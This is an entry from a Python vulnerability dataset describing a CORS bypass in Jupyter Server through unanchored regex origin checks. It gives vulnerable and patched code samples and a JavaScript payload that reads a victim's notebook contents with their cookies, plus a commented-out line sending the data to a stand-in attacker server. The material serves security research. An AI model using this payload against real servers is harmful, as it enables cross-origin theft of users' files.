CVE-2026-40110
Improper origin validation in Jupyter Server allows for a CORS bypass.
- CVSS 7.6
- CWE-777
- Input Validation and Sanitization
- Remote
Jupyter Server is the backend for Jupyter web applications. In versions 2.17.0 and earlier, the Origin header validation uses Python's re.match() to check incoming origins against the allow_origin_pat configuration value. Because re.match() only anchors at the start of the string and does not require a full match, a pattern intended to match only a trusted domain (e.g., trusted.example.com) will also match any origin that begins with that domain followed by additional characters (e.g., trusted.example.com.evil.com). An attacker who controls such a domain can bypass the CORS origin restriction and make cross-origin requests to the Jupyter Server API from an untrusted site. This issue has been fixed in version 2.18.0.
- CWE
- CWE-777
- CVSS base score
- 7.6
- Published
- 2026-05-05
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Cross-Site Request Forgery (CSRF)
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Jupyter Serv
- Fixed by upgrading
- Yes
Solution
Upgrade Jupyter Server to version 2.18.0 or later.
Vulnerable code sample
import re
# This represents the Jupyter Server configuration value for allowed origins.
# The pattern is intended to match only 'trusted.example.com'.
# Note the lack of a '$' anchor at the end of the pattern.
allow_origin_pat = r'trusted\.example\.com'
def check_origin_vulnerable(origin_header, pattern):
"""
Simulates the vulnerable origin check using re.match().
re.match() only anchors at the start of the string, not the end.
"""
# In a real server, this would parse the hostname from the Origin header.
# For this example, we assume `origin_header` is just the hostname.
if re.match(pattern, origin_header):
return True
return False
# --- Demonstration of the vulnerability ---
# A legitimate origin that should be allowed.
legitimate_origin = "trusted.example.com"
# An attacker-controlled origin that exploits the vulnerability.
# This should be blocked, but re.match() will allow it.
malicious_origin = "trusted.example.com.evil.com"
# A completely unrelated origin that should be blocked.
unrelated_origin = "another-site.com"
# --- Test cases ---
# Test 1: Legitimate origin (Correctly allowed)
is_allowed_1 = check_origin_vulnerable(legitimate_origin, allow_origin_pat)
print(f"'{legitimate_origin}' allowed: {is_allowed_1}")
# Test 2: Malicious origin (Incorrectly allowed due to the vulnerability)
is_allowed_2 = check_origin_vulnerable(malicious_origin, allow_origin_pat)
print(f"'{malicious_origin}' allowed: {is_allowed_2}")
# Test 3: Unrelated origin (Correctly blocked)
is_allowed_3 = check_origin_vulnerable(unrelated_origin, allow_origin_pat)
print(f"'{unrelated_origin}' allowed: {is_allowed_3}")Patched code sample
import re
def check_origin_fixed(origin: str, allow_origin_pat: str) -> bool:
"""
Checks if an origin is allowed, representing the fix for CVE-2026-40110.
The fix involves using re.fullmatch() instead of the vulnerable re.match().
re.fullmatch() ensures the entire origin string matches the pattern,
preventing malicious subdomains from being incorrectly validated.
"""
try:
# The fix is to use re.fullmatch(), which requires the entire string to match.
return bool(re.fullmatch(allow_origin_pat, origin))
except re.error:
return False
# --- Demonstration of the fix ---
# Configuration pattern intended to allow only 'trusted.example.com'
# Note: A real-world pattern should escape dots, e.g., r'trusted\.example\.com'
allowed_pattern = r"trusted.example.com"
# A legitimate origin that should be allowed.
trusted_origin = "trusted.example.com"
# A malicious origin that would have been allowed by the vulnerable re.match().
# The fixed code will correctly reject this.
malicious_origin = "trusted.example.com.evil.com"
# A completely unrelated origin that should be rejected.
unrelated_origin = "another-site.com"
print(f"Pattern: '{allowed_pattern}'\n")
# --- Verification ---
# The fixed function correctly allows the trusted origin.
is_trusted_allowed = check_origin_fixed(trusted_origin, allowed_pattern)
print(f"Checking '{trusted_origin}': {'Allowed' if is_trusted_allowed else 'Rejected'}")
# The fixed function correctly REJECTS the malicious origin.
is_malicious_allowed = check_origin_fixed(malicious_origin, allowed_pattern)
print(f"Checking '{malicious_origin}': {'Allowed' if is_malicious_allowed else 'Rejected'}")
# The fixed function correctly rejects an unrelated origin.
is_unrelated_allowed = check_origin_fixed(unrelated_origin, allowed_pattern)
print(f"Checking '{unrelated_origin}': {'Allowed' if is_unrelated_allowed else 'Rejected'}")Payload
/*
This script should be hosted on a malicious webpage served from a domain
that exploits the partial regex match. For example, if the Jupyter Server's
allow_origin_pat is set to trust 'https://notebooks.trusted.com', an attacker
could register and use 'https://notebooks.trusted.com.evil-site.com'.
*/
async function exploitJupyter() {
// The URL of the vulnerable Jupyter Server instance
const targetUrl = 'https://VULNERABLE-JUPYTER-SERVER.com';
try {
// Attempt to fetch sensitive information, like the contents of the root directory.
// The 'credentials: "include"' option is crucial to ensure the victim's
// session cookies are sent with the request.
const response = await fetch(`${targetUrl}/api/contents`, {
method: 'GET',
credentials: 'include',
headers: {
'Accept': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
console.log('Vulnerability exploited. Leaked data:', data);
// In a real attack, the attacker would exfiltrate this data.
// For example:
// await fetch('https://attacker-collection-server.com/log', {
// method: 'POST',
// body: JSON.stringify(data)
// });
} else {
console.error('Exploit failed. Server responded with status:', response.status);
}
} catch (error) {
console.error('An error occurred during the exploit attempt:', error);
}
}
exploitJupyter();
Cite this entry
@misc{vaitp:cve202640110,
title = {{Improper origin validation in Jupyter Server allows for a CORS bypass.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-40110},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40110/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
